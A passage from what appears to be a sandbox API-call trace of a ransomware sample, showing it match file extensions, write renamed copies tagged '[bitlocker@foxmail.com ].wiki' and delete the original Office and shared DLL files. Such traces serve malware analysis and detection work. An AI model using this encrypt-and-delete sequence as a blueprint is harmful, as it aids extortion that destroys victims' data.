(HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40654f0 [0059.019] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0059.019] WriteFile (in: hFile=0x18c, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.020] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0059.020] WriteFile (in: hFile=0x18c, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.022] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0059.022] WriteFile (in: hFile=0x18c, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.024] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40654f0 | out: hHeap=0x6c0000) returned 1 [0059.024] CloseHandle (hObject=0x18c) returned 1 [0059.024] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0059.025] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.025] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.025] lstrlenW (lpString=".doc") returned 4 [0059.025] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0059.025] lstrlenW (lpString=".docx") returned 5 [0059.025] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0059.025] lstrlenW (lpString=".pdf") returned 4 [0059.025] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0059.025] lstrlenW (lpString=".xls") returned 4 [0059.025] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0059.025] lstrlenW (lpString=".xlsx") returned 5 [0059.025] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0059.025] lstrlenW (lpString=".ppt") returned 4 [0059.025] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0059.025] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.025] lstrlenW (lpString=".zip") returned 4 [0059.025] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0059.025] lstrlenW (lpString=".rar") returned 4 [0059.025] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0059.025] lstrlenW (lpString=".bz2") returned 4 [0059.025] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0059.025] lstrlenW (lpString=".7z") returned 3 [0059.025] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0059.025] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.025] lstrlenW (lpString=".dbf") returned 4 [0059.025] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0059.025] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.025] lstrlenW (lpString=".1cd") returned 4 [0059.025] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0059.025] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.025] lstrlenW (lpString=".jpg") returned 4 [0059.025] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0059.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.026] lstrlenW (lpString=".doc") returned 4 [0059.026] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0059.026] lstrlenW (lpString=".docx") returned 5 [0059.026] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0059.026] lstrlenW (lpString=".pdf") returned 4 [0059.026] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0059.026] lstrlenW (lpString=".xls") returned 4 [0059.026] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0059.026] lstrlenW (lpString=".xlsx") returned 5 [0059.026] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0059.026] lstrlenW (lpString=".ppt") returned 4 [0059.026] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0059.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.026] lstrlenW (lpString=".zip") returned 4 [0059.026] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0059.026] lstrlenW (lpString=".rar") returned 4 [0059.026] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0059.026] lstrlenW (lpString=".bz2") returned 4 [0059.026] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0059.026] lstrlenW (lpString=".7z") returned 3 [0059.026] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0059.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.026] lstrlenW (lpString=".dbf") returned 4 [0059.026] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0059.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.026] lstrlenW (lpString=".1cd") returned 4 [0059.026] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0059.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0059.026] lstrlenW (lpString=".jpg") returned 4 [0059.026] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0059.027] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0059.027] lstrlenW (lpString="PidGenX.dll") returned 11 [0059.027] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0059.027] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=1463568) returned 1 [0059.027] CloseHandle (hObject=0x18c) returned 1 [0059.027] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0059.027] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0059.027] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0059.027] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.027] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.027] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.028] GetLastError () returned 0x0 [0059.028] ReadFile (in: hFile=0x18c, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0060.057] WriteFile (in: hFile=0x214, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0060.074] ReadFile (in: hFile=0x18c, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0x65520, lpOverlapped=0x0) returned 1 [0060.086] WriteFile (in: hFile=0x214, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x65530, lpOverlapped=0x0) returned 1 [0060.343] ReadFile (in: hFile=0x18c, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0060.343] WriteFile (in: hFile=0x214, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xea, lpOverlapped=0x0) returned 1 [0060.343] SetEndOfFile (hFile=0x214) returned 1 [0060.343] CloseHandle (hObject=0x214) returned 1 [0060.344] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.344] SetEndOfFile (hFile=0x18c) returned 1 [0060.348] CloseHandle (hObject=0x18c) returned 1 [0060.349] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0060.349] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0060.349] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0060.349] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0060.349] lstrlenW (lpString=".doc") returned 4 [0060.349] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.349] lstrlenW (lpString=".docx") returned 5 [0060.349] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0060.349] lstrlenW (lpString=".pdf") returned 4 [0060.349] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.349] lstrlenW (lpString=".xls") returned 4 [0060.349] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.349] lstrlenW (lpString=".xlsx") returned 5 [0060.349] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0060.349] lstrlenW (lpString=".ppt") returned 4 [0060.349] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.349] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0060.350] lstrlenW (lpString=".zip") returned 4 [0060.350] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.350] lstrlenW (lpString=".rar") returned 4 [0060.350] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.350] lstrlenW (lpString=".bz2") returned 4 [0060.350] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.350] lstrlenW (lpString=".7z") returned 3 [0060.350] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.350] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0060.350] lstrlenW (lpString=".dbf") returned 4 [0060.350] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.350] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0060.350] lstrlenW (lpString=".1cd") returned 4 [0060.350] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.350] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0060.350] lstrlenW (lpString=".jpg") returned 4 [0060.350] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.350] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0060.350] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0060.350] lstrlenW (lpString=".doc") returned 4 [0060.350] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.350] lstrlenW (lpString=".docx") returned 5 [0060.350] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0060.350] lstrlenW (lpString=".pdf") returned 4 [0060.350] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.350] lstrlenW (lpString=".xls") returned 4 [0060.350] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.350] lstrlenW (lpString=".xlsx") returned 5 [0060.350] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0060.350] lstrlenW (lpString=".ppt") returned 4 [0060.350] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.350] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0060.351] lstrlenW (lpString=".zip") returned 4 [0060.351] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.351] lstrlenW (lpString=".rar") returned 4 [0060.351] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.351] lstrlenW (lpString=".bz2") returned 4 [0060.351] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.351] lstrlenW (lpString=".7z") returned 3 [0060.351] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.351] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0060.351] lstrlenW (lpString=".dbf") returned 4 [0060.351] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.351] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0060.351] lstrlenW (lpString=".1cd") returned 4 [0060.351] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.351] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0060.351] lstrlenW (lpString=".jpg") returned 4 [0060.351] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.351] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0060.351] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0060.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0061.737] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=1369952) returned 1 [0061.737] CloseHandle (hObject=0x214) returned 1 [0061.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 0x20 [0061.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0061.738] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.738] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0063.063] GetLastError () returned 0x0 [0063.063] ReadFile (in: hFile=0x214, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0063.250] WriteFile (in: hFile=0x244, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0063.269] ReadFile (in: hFile=0x214, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0x4e770, lpOverlapped=0x0) returned 1 [0063.281] WriteFile (in: hFile=0x244, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x4e780, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x4e780, lpOverlapped=0x0) returned 1 [0063.289] ReadFile (in: hFile=0x214, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0063.289] WriteFile (in: hFile=0x244, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xea, lpOverlapped=0x0) returned 1 [0063.289] SetEndOfFile (hFile=0x244) returned 1 [0063.289] CloseHandle (hObject=0x244) returned 1 [0063.289] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.289] SetEndOfFile (hFile=0x214) returned 1 [0063.292] CloseHandle (hObject=0x214) returned 1 [0063.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.293] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 1 [0063.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0063.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0063.293] lstrlenW (lpString=".doc") returned 4 [0063.293] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0063.293] lstrlenW (lpString=".docx") returned 5 [0063.293] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0063.293] lstrlenW (lpString=".pdf") returned 4 [0063.293] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0063.293] lstrlenW (lpString=".xls") returned 4 [0063.293] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0063.293] lstrlenW (lpString=".xlsx") returned 5 [0063.293] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0063.293] lstrlenW (lpString=".ppt") returned 4 [0063.293] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0063.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0063.293] lstrlenW (lpString=".zip") returned 4 [0063.293] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0063.293] lstrlenW (lpString=".rar") returned 4 [0063.293] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0063.293] lstrlenW (lpString=".bz2") returned 4 [0063.294] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0063.294] lstrlenW (lpString=".7z") returned 3 [0063.294] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0063.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0063.294] lstrlenW (lpString=".dbf") returned 4 [0063.294] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0063.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0063.294] lstrlenW (lpString=".1cd") returned 4 [0063.294] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0063.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0063.294] lstrlenW (lpString=".jpg") returned 4 [0063.294] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0063.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0063.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0063.294] lstrlenW (lpString=".doc") returned 4 [0063.294] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0063.294] lstrlenW (lpString=".docx") returned 5 [0063.294] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0063.294] lstrlenW (lpString=".pdf") returned 4 [0063.294] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0063.294] lstrlenW (lpString=".xls") returned 4 [0063.294] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0063.294] lstrlenW (lpString=".xlsx") returned 5 [0063.294] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0063.294] lstrlenW (lpString=".ppt") returned 4 [0063.294] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0063.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0063.294] lstrlenW (lpString=".zip") returned 4 [0063.294] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0063.294] lstrlenW (lpString=".rar") returned 4 [0063.294] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0063.294] lstrlenW (lpString=".bz2") returned 4 [0063.294] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0063.294] lstrlenW (lpString=".7z") returned 3 [0063.295] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0063.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0063.295] lstrlenW (lpString=".dbf") returned 4 [0063.295] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0063.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0063.295] lstrlenW (lpString=".1cd") returned 4 [0063.295] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0063.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0063.295] lstrlenW (lpString=".jpg") returned 4 [0063.295] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0063.295] lstrcmpiW (lpString1=".FLT", lpString2=".wiki") returned -1 [0063.295] lstrlenW (lpString="JPEGIM32.FLT") returned 12 [0063.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0063.298] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=241024) returned 1 [0063.298] CloseHandle (hObject=0x214) returned 1 [0063.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 0x20 [0063.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0063.300] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, 